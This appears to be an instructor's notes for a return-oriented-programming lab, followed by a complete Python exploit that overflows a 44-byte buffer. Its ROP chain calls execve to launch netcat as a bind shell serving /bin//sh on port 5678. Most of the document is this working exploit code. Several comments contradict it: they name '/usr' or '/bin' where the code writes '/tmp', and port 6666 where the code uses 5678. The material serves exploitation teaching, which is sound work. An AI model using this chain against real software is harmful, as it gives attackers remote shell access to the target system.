the first step is to just overflow the buffer.  Encourage a bit of playing with GDB and binary search.  It **should** be 44 bytes then the address.I've added an additional step to fix up and run the shellcode ROPgadget generates.  Just add the appropriate number of As to pad and run and it should be good.The next step is to tweak the exploit script given so that you can run reverse shell.  All the gadgets will need different addresses (use ROPgadget to find them), and some may not be available or be slightly different (I had a different sequence of pops).  If so thats fine... you just need to adjust the order things go on the stack after the gadget.Once things are running start checking things are actually in the right registers (break on the pop all and manually check with GDB, see hints section).  They may find strings arent null terminated for the args (its somewhat lucky).  I took to adding the null terminators by hand, something like:

buff += POPEDX

buff += pack("<I", STACKADDR + 32)

buff += XOREAX

buff += MOVISTACK

But that will null out 4 bytes so ensure that you don't overwrite something you've already added...  Other than that... mostly fine. It seems harder than it actually is!

"""

This is a demo python script that creates a ROP chain to launch nc as:

"""

#!/usr/bin/env python

from struct import pack

import os

######################################

fileName='exploit'

outfile=open(fileName, "wb")

# this is just to create variables of the gadgets that we will be using

STACKADDR = 0x080d9060

STACK = pack("<I", 0x080d9060) # @ .data

INT80 = pack("<I", 0x080495f3) # int $0x80

MOVISTACK = pack("<I", 0x08056cf5) # mov %eax,(%edx) | ret

INCEAX = pack("<I", 0x0807b6da) # inc %eax | ret

POPALL = pack("<I", 0x0806e261) # pop %edx | pop %ecx | pop %ebx | ret;

# we are mainly interested in pop %edx, thus there will be pre and post dummy data for %edx and %ebx

POPEAX = pack("<I", 0x080a8986) # pop %eax | ret

POPEDX = pack("<I", 0x0806e23b) # pop %edx | ret

XOREAX = pack("<I", 0x080562b0) # xor %eax,%eax | ret

DUMMY = pack("<I", 0x90909090) # padding

buff = bytes("A" \* 44, 'ascii')

buff += POPALL # it's via %ecx we will build our stack.

buff += STACK # %edx contain the stack address.

buff += DUMMY # padding

buff += DUMMY # padding

buff += POPEAX # Lets put content in an address

buff += bytes("/tmp", 'ascii') # put "/usr" in %eax

buff += MOVISTACK # put "/bin" in stack address

buff += POPALL

buff += pack("<I", STACKADDR + 4) # we change our stack for to point after "/bin"

buff += DUMMY # padding

buff += DUMMY # padding

buff += POPEAX # Applying the same for "/nc"

buff += bytes("//nc", 'ascii')

buff += MOVISTACK # we place "//nc" after "/bin"

buff += POPALL

buff += pack("<I", STACKADDR + 9) # we change our stack for to point after "bin//nc"+1

buff += DUMMY # padding

buff += DUMMY # padding

# we repeated operation for each argument

buff += POPEAX

buff += bytes("-lnp", 'ascii')

buff += MOVISTACK

buff += POPEDX

buff += pack("<I", STACKADDR + 13)

buff += XOREAX

buff += MOVISTACK

buff += POPALL

buff += pack("<I", STACKADDR + 14)

buff += DUMMY

buff += DUMMY

buff += POPEAX

buff += bytes("5678", 'ascii')

buff += MOVISTACK

buff += POPEDX

buff += pack("<I", STACKADDR + 18)

buff += XOREAX

buff += MOVISTACK

buff += POPALL

buff += pack("<I", STACKADDR + 19)

buff += DUMMY

buff += DUMMY

buff += POPEAX

buff += bytes("-tte", 'ascii')

buff += MOVISTACK

buff += POPEDX

buff += pack("<I", STACKADDR + 23)

buff += XOREAX

buff += MOVISTACK

buff += POPALL

buff += pack("<I", STACKADDR + 24)

buff += DUMMY

buff += DUMMY

buff += POPEAX

buff += bytes("/bin", 'ascii')

buff += MOVISTACK

buff += POPALL

buff += pack("<I", STACKADDR + 28)

buff += DUMMY

buff += DUMMY

buff += POPEAX

buff += bytes("//sh", 'ascii')

buff += MOVISTACK

buff += POPEDX

buff += pack("<I", STACKADDR + 32)

buff += XOREAX

buff += MOVISTACK

#buff += DUMMY

#

# We currently have our list of elements separated by \0

# Now we must construct our char \*\* i.e. array 'argguments' of strings

# arguments=[ @"/bin//nc", @"-lnp", @"6666", @"-tte", @"/bin//sh"]

#

buff += POPALL

buff += pack("<I", STACKADDR + 60) # shadow stack address (@ of arguments)

buff += DUMMY # padding

buff += DUMMY # padding

buff += POPEAX

buff += pack("<I", STACKADDR) # @ of "/bin//nc" 0th item of arguments[]

buff += MOVISTACK # we place address of "/bin//nc" in our STACK

buff += POPALL

buff += pack("<I", STACKADDR + 64) # we shift our Stack Pointer + 4 for the second argument

buff += DUMMY # padding

buff += DUMMY # padding

buff += POPEAX

buff += pack("<I", STACKADDR + 9) # @ of "-lnp"

buff += MOVISTACK # we place address of "-lnp" in our STACK

buff += POPALL

buff += pack("<I", STACKADDR + 68) # we shift our Stack Pointer + 4 for the 3rd argument

buff += DUMMY # padding

buff += DUMMY # padding

buff += POPEAX

buff += pack("<I", STACKADDR + 14) # @ of "6666"

buff += MOVISTACK # we palce address of "6666" in our STACK

buff += POPALL

buff += pack("<I", STACKADDR + 72) # we shift our Stack Pointer + 4 for the 4th argument

buff += DUMMY # padding

buff += DUMMY # padding

buff += POPEAX

buff += pack("<I", STACKADDR + 19) # @ of "-tte"

buff += MOVISTACK # we place address of "-tte" in our STACK

buff += POPALL

buff += pack("<I", STACKADDR + 76) # we shift our Stack Pointer + 4 for the 5th argument

buff += DUMMY # padding

buff += DUMMY # padding

buff += POPEAX

buff += pack("<I", STACKADDR + 24) # @ of "/bin//sh"

buff += MOVISTACK # we place address of "/bin//sh" in our STACK

#

# Now we must implement eax to contain the address of

# the execve syscall.

# execve = 0xb

#

buff += XOREAX # %eax is put to zero.

buff += INCEAX \* 11 # %eax is now 0xb

buff += POPALL # last pop

buff += pack("<I", STACKADDR + 48) # edx char \*env

buff += pack("<I", STACKADDR + 60) # ecx char \*\*arguments

buff += pack("<I", STACKADDR) # ebx "/usr/bin//nc"

buff += INT80 # we execute

outfile.write(buff)

outfile.close()

#print buff

(My solution... your gadget addresses will differ...)